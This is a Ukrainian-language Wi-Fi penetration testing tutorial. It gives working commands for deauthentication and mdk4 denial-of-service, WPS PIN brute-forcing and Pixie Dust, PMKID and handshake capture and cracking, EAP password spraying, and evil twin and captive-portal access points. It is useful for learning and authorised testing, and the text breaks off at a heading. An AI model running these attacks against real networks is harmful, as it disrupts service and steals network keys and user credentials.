Пентестинг Wi-Fi мереж. Від основ до просунутих атак

14 березня 2024 8 хвилин Автор: Cyber Witcher

Цей матеріал представляє собою всебічний посібник з тестування безпеки Wi-Fi мереж, де детально розкриваються різноманітні аспекти та методики, що можуть застосовуватися пентестерами для ідентифікації вразливостей у Wi-Fi мережах.

Основні команди Wi-Fi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

Інструменти

EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Запустіть airgeddon за допомогою докера

docker run \
          --rm \
          -ti \
          --name airgeddon \
          --net=host \
          --privileged \
          -p 3000:3000 \
          -v /tmp:/io \
          -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
          v1s1t0r1sh3r3/airgeddon

З: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати фішинговий шаблон для отримання справжнього пароля мережі або перехоплення облікових даних соціальної мережі.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Цей інструмент автоматизує атаки WPS/WEP/WPA-PSK . Він автоматично:

  • Переведіть інтерфейс у режим монітора

  • Сканування можливих мереж – і дозвольте вибрати жертву(и)

  • Якщо WEP – запускати WEP-атаки

  • Якщо WPA-PSK

  • Якщо WPS: атака Pixie dust і атака грубою силою (будьте обережні, атака грубою силою може зайняти багато часу). Зауважте, що він не намагається ввести нульовий PIN-код або PIN-код, згенерований базою даних.

  • Спробуйте отримати PMKID з точки доступу, щоб зламати його

  • Спробуйте деаутентифікувати клієнтів точки доступу, щоб зафіксувати рукостискання

  • Якщо PMKID або Handshake, спробуйте виконати брутфорс, використовуючи топ5000 паролів.

Резюме нападів

DoS

  • Деаутентифікація/роз’єднання — відключити всіх (або певний ESSID/клієнт)

  • Випадкові підроблені точки доступу — приховайте мережі, сканери можливих збоїв

  • Перевантажте AP – спробуйте вбити AP (зазвичай це не дуже корисно)

  • WIDS — Грайте з IDS

  • TKIP, EAPOL — Деякі конкретні атаки на деякі точки доступу DoS

Cracking

  • Зламати WEP (кілька інструментів і методів)

  • WPA-PSK Пін WPS (“Brute-Force” Брутфорс WPA PMKID [DoS +] Захоплення рукостискання WPA + Злом)

WPA-MGT

  • Запис імені користувача

  • Облікові дані Bruteforce

Evil Twin (з або без DoS)

  • Open Evil Twin [+ DoS] — корисно для захоплення ідентифікаційних даних порталу та/або виконання атак через локальну мережу

  • WPA-PSK Evil Twin — корисно для мережевих атак, якщо ви знаєте пароль

  • WPA-MGT – корисно для отримання облікових даних компанії

DOS

Пакети деавтентифікації. Опис тут

Атаки деавтентифікації , поширений метод злому Wi-Fi, передбачають підробку кадрів «керування» для примусового відключення пристроїв від мережі . Ці незашифровані пакети змушують клієнтів повірити, що вони належать до законної мережі, дозволяючи зловмисникам збирати протоколи WPA для злому або постійно переривати мережеві з’єднання. Ця тактика, тривожна своєю простотою, широко використовується та має значні наслідки для безпеки мережі.

Деавтентифікація за допомогою Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 означає деавтентифікацію

  • 1 — це кількість смертей, які потрібно надіслати (ви можете надіслати декілька, якщо хочете); 0 означає надсилати їх постійно

  • -a 00:14:6C:7E:40:80 MAC-адреса точки доступу

  • -c 00:0F:B5:34:30:30 — MAC-адреса клієнта для деаутентифікації; якщо це опущено, надсилається широкомовна деаутентифікація (не завжди працює)

  • ath0 — ім’я інтерфейсу

Пакети роз’єднання

Пакети роз’єднання , подібні до пакетів деаутентифікації, є типом кадру керування, що використовується в мережах Wi-Fi. Ці пакети служать для розриву з’єднання між пристроєм (наприклад, ноутбуком або смартфоном) і точкою доступу (AP). Основна різниця між роз’єднанням і деаутентифікацією полягає в сценаріях їх використання. У той час як точка доступу видає пакети деавтентифікації для явного видалення шахрайських пристроїв з мережі, пакети роз’єднання зазвичай надсилаються, коли точка доступу закривається , перезапускається або переміщується, що вимагає відключення всіх підключених вузлів.

Ця атака може бути виконана за допомогою mdk4 (режим “d”):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them 
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Більше атак DOS від mdk4

РЕЖИМ АТАКИ b: Затоплення маяка

Надсилає кадри-маяки, щоб показати клієнтам підроблені точки доступу. Іноді це може привести до збою мережевих сканерів і навіть драйверів!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

РЕЖИМ АТАКИ a: автентифікація, відмова в обслуговуванні

Надсилання кадрів автентифікації до всіх доступних точок доступу (AP) у межах діапазону може перевантажити ці AP, особливо коли задіяно багато клієнтів. Цей інтенсивний трафік може призвести до нестабільності системи, спричиняючи зависання або навіть скидання деяких точок доступу.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

РЕЖИМ АТАКИ p: Зондування SSID і підбір

Перевірка точок доступу (AP) перевіряє, чи належним чином виявлено SSID, і підтверджує діапазон точки доступу. Ця техніка в поєднанні з підбіром прихованих SSID зі списком слів або без нього допомагає ідентифікувати та отримувати доступ до прихованих мереж.

РЕЖИМ АТАКИ m: Майкл контрзаходи Експлуатація

Надсилання випадкових або повторюваних пакетів до різних черг QoS може викликати контрзаходи Майкла на точках доступу TKIP , що призведе до вимкнення точки доступу на одну хвилину. Цей метод є ефективною тактикою атаки DoS (відмова в обслуговуванні).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

РЕЖИМ АТАКИ e: EAPOL Start and Logoff Packet Injection

Заповнення точки доступу фреймами EAPOL Start створює підроблені сеанси , перевантажуючи точку доступу та блокуючи законних клієнтів. Крім того, впровадження фальшивих повідомлень про вихід із системи EAPOL примусово відключає клієнтів, обидва методи ефективно порушують роботу мережі.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

РЕЖИМ АТАКИ s: Атаки для сітчастих мереж IEEE 802.11s

Різноманітні атаки на керування зв’язками та маршрутизацію в mesh-мережах.

РЕЖИМ АТАКИ w: WIDS Confusion

Перехресне підключення клієнтів до кількох вузлів WDS або підроблених точок доступу може маніпулювати системами виявлення та запобігання вторгненням, створюючи плутанину та потенційне зловживання системою.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

РЕЖИМ АТАКИ f: Packet Fuzzer

Фазер пакетів, який містить різноманітні джерела пакетів і повний набір модифікаторів для маніпулювання пакетами.

Airggedon

Airgeddon пропонує більшість атак, запропонованих у попередніх коментарях:

WPS

WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, підвищуючи швидкість і легкість налаштування для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Це неефективно для безпеки WEP, яку легко зламати. WPS використовує 8-значний PIN-код, перевірений двома половинами, що робить його сприйнятливим до атак грубою силою через обмежену кількість комбінацій (11 000 можливостей).

WPS Bruteforce

Є 2 основні інструменти для виконання цієї дії: Reaver і Bully.

  • Reaver було розроблено як надійну та практичну атаку проти WPS, і було перевірено на широкий спектр точок доступу та реалізацій WPS.

  • Bully — це нова реалізація атаки грубої сили WPS, написана мовою C. Вона має кілька переваг порівняно з оригінальним кодом reaver: менше залежностей, покращена продуктивність пам’яті та ЦП, правильна обробка порядку байтів і більш надійний набір параметрів.

Атака використовує вразливість PIN-коду WPS , зокрема його розкриття ролі перших чотирьох цифр і останньої цифри як контрольної суми, що полегшує атаку грубою силою. Однак засоби захисту від атак грубої сили, як-от блокування MAC-адрес агресивних зловмисників, вимагають ротації MAC-адреси для продовження атаки.

Отримавши PIN-код WPS за допомогою таких інструментів, як Bully або Reaver, зловмисник може визначити WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі .

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot    
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Розумна груба сила

Цей вдосконалений підхід спрямований на PIN-коди WPS, використовуючи відомі вразливості:

  1. Попередньо виявлені PIN-коди : використовуйте базу даних відомих PIN-кодів, пов’язаних із певними виробниками, які, як відомо, використовують уніфіковані PIN-коди WPS. Ця база даних співвідносить перші три октети MAC-адрес із можливими PIN-кодами цих виробників.

  2. Алгоритми генерації PIN-коду : використовуйте такі алгоритми, як ComputePIN і EasyBox, які обчислюють PIN-коди WPS на основі MAC-адреси точки доступу. Алгоритм Arcadyan додатково вимагає ідентифікатора пристрою, додаючи рівень до процесу генерації PIN-коду.

Атака WPS Pixie Dust

Домінік Бонгард виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як nonces ( E-S1 і E-S2 ). Якщо ці nonces можна розпізнати, зламати PIN-код WPS точки доступу стане легко. AP розкриває PIN-код у спеціальному коді (хеш), щоб підтвердити, що він законний, а не підроблений (шахрайський) AP. Ці nonces по суті є «ключами» для розблокування «сейфа», у якому зберігається PIN-код WPS. Детальніше про це можна дізнатися тут .

Простіше кажучи, проблема полягає в тому, що деякі точки доступу не використовували достатньо випадкових ключів для шифрування PIN-коду під час процесу підключення. Це робить PIN-код вразливим до вгадування ззовні мережі (офлайн-атака грубої сили).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Атака Null Pin

Деякі погано спроектовані системи навіть дозволяють надавати доступ за нульовим PIN-кодом (порожнім або неіснуючим PIN-кодом), що є досить незвичним. Інструмент Reaver здатний перевіряти цю вразливість, на відміну від Bully .

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Усі запропоновані атаки WPS можна легко виконати за допомогою airgeddon.

  • 5 і 6 дозволяють спробувати власний PIN-код (якщо він є)

  • 7 і 8 виконують атаку Pixie Dust

  • 13 дозволяє перевірити NULL PIN

  • 11 і 12 зберуть PIN-коди, пов’язані з вибраною точкою доступу, з доступних баз даних і згенерують можливі PIN-коди за допомогою: ComputePIN, EasyBox і додатково Arcadyan (рекомендовано, чому ні?)

  • 9 і 10 перевірять усі можливі PIN-коди

WEP

Такий зламаний і невикористаний сьогодні. Просто знайте, що у airgeddon є опція WEP під назвою «Все в одному» для атаки такого типу захисту. Інші інструменти пропонують подібні варіанти.

WPA/WPA2 PSK

PMKID

У 2018 році hashcat представив новий метод атаки, унікальний, оскільки для нього потрібен лише один пакет і не вимагається підключення будь-яких клієнтів до цільової точки доступу — лише взаємодія між зловмисником і точкою доступу.

Багато сучасних маршрутизаторів додають необов’язкове поле до першого кадру EAPOL під час асоціації, відоме як Robust Security Network. Це включає в себе PMKID.

Як пояснюється в оригінальній публікації, PMKID створюється з використанням відомих даних:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Враховуючи, що «PMK Name» є постійним, ми знаємо BSSID точки доступу та станції, і він PMKідентичний ідентифікатору повного 4-стороннього рукостискання, hashcat може використовувати цю інформацію, щоб зламати PSK і відновити парольну фразу!

Щоб зібрати цю інформацію та локально перевірити пароль, виконайте такі дії:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Зняті PMKID буде показано на консолі , а також збережено в _ /tmp/attack.pcap _ Тепер перетворіть запис у формат hashcat/john і зламайте його:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Будь ласка, зверніть увагу, що формат правильного хешу містить 4 частини , як-от:

4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 якщо ваш містить лише 3 частини , то він недійсний (запис PMKID недійсний).

Зауважте, що hcxdumptool також зніміть рукостискання (з’явиться щось на зразок цього: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити рукостискання у формат hashcat / john за допомогоюcap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Помітивши, що деякі рукостискання, зафіксовані за допомогою цього інструменту, неможливо зламати, навіть знаючи правильний пароль. Рекомендуемо зафіксувати рукостискання також традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту.

Зйомка рукостискання

Атака на мережі WPA/WPA2 може бути здійснена шляхом перехоплення рукостискання та спроби зламати пароль в автономному режимі . Цей процес передбачає моніторинг зв’язку певної мережі та BSSID на певному каналі . Ось спрощений посібник:

  • Визначте BSSID , канал і підключеного клієнта цільової мережі.

  • Використовуйте airodump-ngдля моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись зафіксувати рукостискання. Команда буде виглядати так:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  • Щоб збільшити ймовірність зафіксувати рукостискання, миттєво відключіть клієнта від мережі, щоб примусово виконати повторну автентифікацію. Це можна зробити за допомогою aireplay-ngкоманди, яка надсилає пакети деаутентифікації клієнту:

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Зауважте, що після деавтентифікації клієнта він міг спробувати підключитися до іншої точки доступу або, в інших випадках, до іншої мережі.

Коли в ньому airodump-ngз’явиться інформація про рукостискання, це означає, що рукостискання було зафіксовано, і ви можете припинити прослуховування:

Після того, як рукостискання буде зафіксовано, ви можете зламати його за допомогою aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

WPA Enterprise (MGT)

У корпоративних налаштуваннях WiFi ви зустрінете різні методи автентифікації , кожен з яких забезпечує різні рівні безпеки та функції керування. Коли ви використовуєте такі інструменти, як airodump-ngперевірка мережевого трафіку, ви можете помітити ідентифікатори для цих типів автентифікації. Серед поширених методів:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP-GTC (узагальнена картка токенів) :

  • Цей метод підтримує апаратні маркери та одноразові паролі в EAP-PEAP. На відміну від MSCHAPv2, він не використовує одноранговий виклик і надсилає паролі у вигляді відкритого тексту до точки доступу, створюючи ризик для атак зниження версії.

EAP-MD5 (дайджест повідомлень 5) :

  • Включає надсилання хешу MD5 пароля від клієнта. Це не рекомендовано через вразливість до словникових атак, відсутність автентифікації сервера та нездатність генерувати ключі WEP для сеансу.

EAP-TLS (безпека транспортного рівня) :

  • Використовує сертифікати як на стороні клієнта, так і на стороні сервера для автентифікації та може динамічно генерувати ключі WEP на основі користувача та сеансу для захисту зв’язку.

EAP-TTLS (безпека тунельного транспортного рівня) :

  • Забезпечує взаємну автентифікацію через зашифрований тунель разом із методом отримання динамічних ключів WEP для кожного користувача та кожного сеансу. Для цього потрібні лише сертифікати на стороні сервера, а клієнти використовують облікові дані.

PEAP (Захищений розширюваний протокол автентифікації) :

  • Функціонує подібно до EAP, створюючи тунель TLS для захищеного зв’язку. Це дозволяє використовувати слабкіші протоколи автентифікації поверх EAP завдяки захисту, який пропонує тунель.

  • PEAP-MSCHAPv2 : часто відомий як PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 із захисним тунелем TLS.

  • PEAP-EAP-TLS (або PEAP-TLS) : Подібно до EAP-TLS, але ініціює тунель TLS перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.

Запис імені користувача

Читаючи https://tools.ietf.org/html/rfc3748#page-27 , здається, що якщо ви використовуєте EAP, повідомлення « Identity» мають підтримуватися , а ім’я користувача буде надіслано зрозуміло в «Response Identity». “ повідомлення.

Навіть використовуючи один із найбезпечніших методів автентифікації: PEAP-EAP-TLS , можна захопити ім’я користувача, надіслане в протоколі EAP . Для цього перехопіть зв’язок автентифікації (розпочніть airodump-ngу каналі та wiresharkв тому самому інтерфейсі) і відфільтруйте пакети за eapol. Усередині пакета « Відповідь, ідентифікація » з’явиться ім’я користувача клієнта.

Анонімні особи

Приховування ідентифікації підтримується EAP-PEAP і EAP-TTLS. У контексті мережі Wi-Fi запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити анонімність користувача, відповідь від клієнта EAP на пристрої користувача містить лише важливу інформацію, необхідну початковому серверу RADIUS для обробки запиту. Ця концепція проілюстрована такими сценаріями:

EAP-Identity = анонімний

У цьому сценарії всі користувачі використовують псевдонім «анонім» як ідентифікатор користувача. Початковий сервер RADIUS функціонує як сервер EAP-PEAP або EAP-TTLS, відповідальний за керування протоколом PEAP або TTLS на стороні сервера. Потім внутрішній (захищений) метод автентифікації обробляється локально або делегується віддаленому (домашньому) серверу RADIUS.

EAP-Identity = anonymous@realm_x

У цій ситуації користувачі з різних сфер приховують свої особи, вказуючи відповідні області. Це дозволяє початковому серверу RADIUS надсилати запити EAP-PEAP або EAP-TTLS до серверів RADIUS у їхніх домашніх сферах, які діють як сервери PEAP або TTLS. Початковий сервер RADIUS працює виключно як вузол ретрансляції RADIUS.

Крім того, початковий сервер RADIUS може функціонувати як сервер EAP-PEAP або EAP-TTLS і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей параметр полегшує конфігурацію окремих політик для різних сфер.

У EAP-PEAP після встановлення тунелю TLS між сервером PEAP і клієнтом PEAP сервер PEAP ініціює запит EAP-Identity і передає його через тунель TLS. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи через зашифрований тунель відповідь EAP-Identity, що містить справжню особу користувача. Цей підхід ефективно запобігає розкриттю справжньої особи користувача будь-кому, хто підслуховує трафік 802.11.

EAP-TTLS виконує дещо іншу процедуру. За допомогою EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених тунелем TLS. У цьому випадку клієнт включає атрибут User-Name і атрибут Password або CHAP-Password у початкове повідомлення TLS, надіслане після встановлення тунелю.

Незалежно від обраного протоколу, сервер PEAP/TTLS отримує відомості про справжню особу користувача після встановлення тунелю TLS. Справжню особу можна представити як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер володіє ідентифікацією користувача та продовжує використовувати метод автентифікації, захищений тунелем TLS. Крім того, сервер PEAP/TTLS може переслати новий запит RADIUS на домашній сервер RADIUS користувача. У цьому новому запиті RADIUS відсутній рівень протоколу PEAP або TTLS. У випадках, коли захищеним методом автентифікації є EAP, внутрішні повідомлення EAP передаються на домашній сервер RADIUS без оболонки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS-повідомлення містить справжню особу користувача, замінюючи анонімне User-Name із вхідного RADIUS-запиту. Якщо захищеним методом автентифікації є PAP або CHAP (підтримується лише TTLS), ім’я користувача та інші атрибути автентифікації, отримані з корисного навантаження TLS, замінюються у вихідному повідомленні RADIUS, замінюючи знайдені анонімні атрибути User-Name та TTLS EAP-Message. у вхідному запиті RADIUS.

EAP-Bruteforce (розпилювач паролів)

Якщо очікується, що клієнт використовуватиме ім’я користувача та пароль (зауважте, що EAP-TLS не буде дійсним у цьому випадку), тоді ви можете спробувати отримати список імен користувачів ( див. наступну частину) і паролів і спробувати брутфорсувати доступ за допомогою пневматичного молотка .

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Ви також можете здійснити цю атаку за допомогою eaphammer:

./eaphammer --eap-spray \
    --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
    --essid example-wifi \
    --password bananas \
    --user-list users.txt

Теорія клієнтських атак

Вибір мережі та роумінг

  • Протокол 802.11 визначає, як станція приєднується до розширеного набору послуг (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) у ньому.

  • Станції можуть переміщатися між точками доступу, що мають один і той самий ESSID, зберігаючи зв’язок між будівлею чи територією.

  • Протокол вимагає автентифікації станції для ESS, але не вимагає автентифікації AP для станції.

Списки бажаних мереж (PNL)

  • Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму списку бажаних мереж (PNL) разом із деталями конфігурації мережі.

  • PNL використовується для автоматичного підключення до відомих мереж, покращуючи роботу користувача шляхом оптимізації процесу підключення.

Пасивне сканування

  • Точки доступу періодично транслюють кадри маяків, повідомляючи про свою присутність і функції, включаючи ESSID точки доступу, якщо трансляція не вимкнена.

  • Під час пасивного сканування станції прослуховують кадри маяків. Якщо ESSID маяка збігається із записом у PNL станції, станція може автоматично підключитися до цієї точки доступу.

  • Знання PNL пристрою дозволяє потенційно використовувати його шляхом імітації відомого ESSID мережі, обманом змушуючи пристрій підключитися до шахрайської точки доступу.

Активне зондування

  • Активне зондування включає станції, які надсилають запити на зондування для виявлення найближчих точок доступу та їхніх характеристик.

  • Спрямовані запити зондування націлені на певний ESSID, допомагаючи визначити, чи знаходиться певна мережа в межах досяжності, навіть якщо це прихована мережа.

  • Запити широкомовного зондування мають нульове поле SSID і надсилаються до всіх найближчих точок доступу, дозволяючи станції перевіряти будь-яку бажану мережу, не розкриваючи її вміст PNL.

Проста точка доступу з перенаправленням в Інтернет

Перш ніж пояснювати, як виконувати більш складні атаки , ми пояснимо, як просто створити точку доступу та перенаправити її трафік на інтерфейс, підключений до Інтернету .

За допомогою ifconfig -aперевірте наявність інтерфейсу WLAN для створення точки доступу та інтерфейсу, підключеного до Інтернету.

DHCP і DNS

apt-get install dnsmasq #Manages DHCP and DNS

Створіть файл конфігурації /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Потім встановіть IP-адреси та маршрути :

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

А потім запустіть dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Створіть файл конфігурації hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Зупиніть дратівливі процеси , встановіть режим моніторингу та запустіть hostapd :

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Переадресація та переадресація

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Злий близнюк

Зла подвійна атака використовує спосіб, у який клієнти WiFi розпізнають мережі, переважно покладаючись на назву мережі (ESSID), не вимагаючи від базової станції (точки доступу) автентифікації для клієнта.

Ключові моменти:

  • Труднощі в диференціації : пристроям важко розрізнити законні та фальшиві точки доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безпроблемного розширення покриття.

  • Клієнтський роумінг і маніпулювання підключенням : протокол 802.11 дозволяє пристроям здійснювати роумінг між точками доступу в одній ESS. Зловмисники можуть скористатися цим, спонукаючи пристрій відключитися від його поточної базової станції та підключитися до шахрайської. Цього можна досягти, запропонувавши більш потужний сигнал або порушивши з’єднання з законною точкою доступу за допомогою таких методів, як пакети деавтентифікації або глушіння.

  • Проблеми у виконанні : Успішне виконання злої подвійної атаки в середовищах із кількома добре розташованими точками доступу може бути складним завданням. Деаутентифікація однієї законної точки доступу часто призводить до того, що пристрій підключається до іншої законної точки доступу, якщо зловмисник не може деавтентифікувати всі найближчі точки доступу або стратегічно розмістити шахрайську точку доступу.

Ви можете створити дуже простий Open Evil Twin (без можливості маршрутизації трафіку в Інтернет), виконавши:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Ви також можете створити Evil Twin за допомогою eaphammer (зауважте, що для створення злих близнюків за допомогою eaphammer інтерфейс НЕ має бути в режимі монітора ):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Або за допомогою Airgeddon:Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Зауважте, що за умовчанням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключатиметься автоматично до Open evil Twin. Ви можете спробувати DoS справжню точку доступу та сподіватися, що користувач вручну під’єднається до вашої Open Evil Twin, або ви можете DoS справжню точку доступу, використавши WPA Evil Twin для захоплення рукостискання (за допомогою цього методу ви не зможете дозвольте жертві підключитися до вас, оскільки ви не знаєте PSK, але ви можете захопити рукостискання та спробувати його зламати). Деякі ОС і AV попередять користувача, що підключення до відкритої мережі небезпечне…

WPA/WPA2 Evil Twin

Ви можете створити Evil Twin за допомогою WPA/2 , і якщо пристрої налаштовано на підключення до цього SSID за допомогою WPA/2, вони спробують підключитися. У будь – якому випадку, щоб завершити 4-стороннє рукостискання, вам також потрібно знати пароль , який використовуватиме клієнт. Якщо ви цього не знаєте , підключення не буде завершено.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Налагодження тунелів PEAP і EAP-TTLS TLS в атаках Evil Twins

Цей метод перевірено у з’єднанні PEAP, але оскільки я розшифровую довільний тунель TLS, він також має працювати з EAP-TTLS

Усередині конфігурації hostapd -wpe прокоментуйте рядок, який містить dh_file (від dh_file=/etc/hostapd-wpe/certs/dh) #dh_file=/etc/hostapd-wpe/certs/dh. Це дозволить hostapd-wpeобмінюватися ключами за допомогою RSA замість DH, тож ви зможете пізніше розшифрувати трафік , знаючи приватний ключ сервера .

Тепер запустіть Evil Twin , використовуючи hostapd-wpeцю змінену конфігурацію, як зазвичай. Також запустіть wiresharkінтерфейс , який виконує атаку Evil Twin.

Зараз або пізніше (коли ви вже зафіксували деякі наміри автентифікації) ви можете додати приватний ключ RSA до wireshark у:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Додайте новий запис і заповніть форму такими значеннями: IP-адреса = будь-якийПорт = 0Протокол = даніФайл ключа ( виберіть файл ключа , щоб уникнути проблем, виберіть файл ключа без захисту паролем ).

І подивіться на нову вкладку «Decrypted TLS» :

Атака KARMA, MANA, Loud MANA та відомих маяків

Чорні/білі списки ESSID і MAC

Різні типи списків фільтрів керування доступом до медіа (MFACL) і їхні відповідні режими та вплив на поведінку шахрайської точки доступу (AP):

Білий список на основі MAC :

Зловмисний AP відповідатиме лише на запити зонду від пристроїв, указаних у білому списку, залишаючись невидимим для всіх інших, яких немає в списку.

Чорний список на основі MAC :

Шахрайська точка доступу ігноруватиме запити на зондування від пристроїв із чорного списку, фактично роблячи шахрайську точку доступу невидимою для цих конкретних пристроїв.

Білий список на основі SSID :

Шахрайська точка доступу відповідатиме на запити зонду лише для певних указаних у списку ESSID, роблячи її невидимою для пристроїв, списки яких пріоритетних мереж (PNL) не містять цих ESSID.

Чорний список на основі SSID :

Несанкціонована точка доступу не відповідатиме на запити щодо конкретних ESSID у чорному списку, що робить її невидимою для пристроїв, які шукають ці конкретні мережі.

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

КАРМА

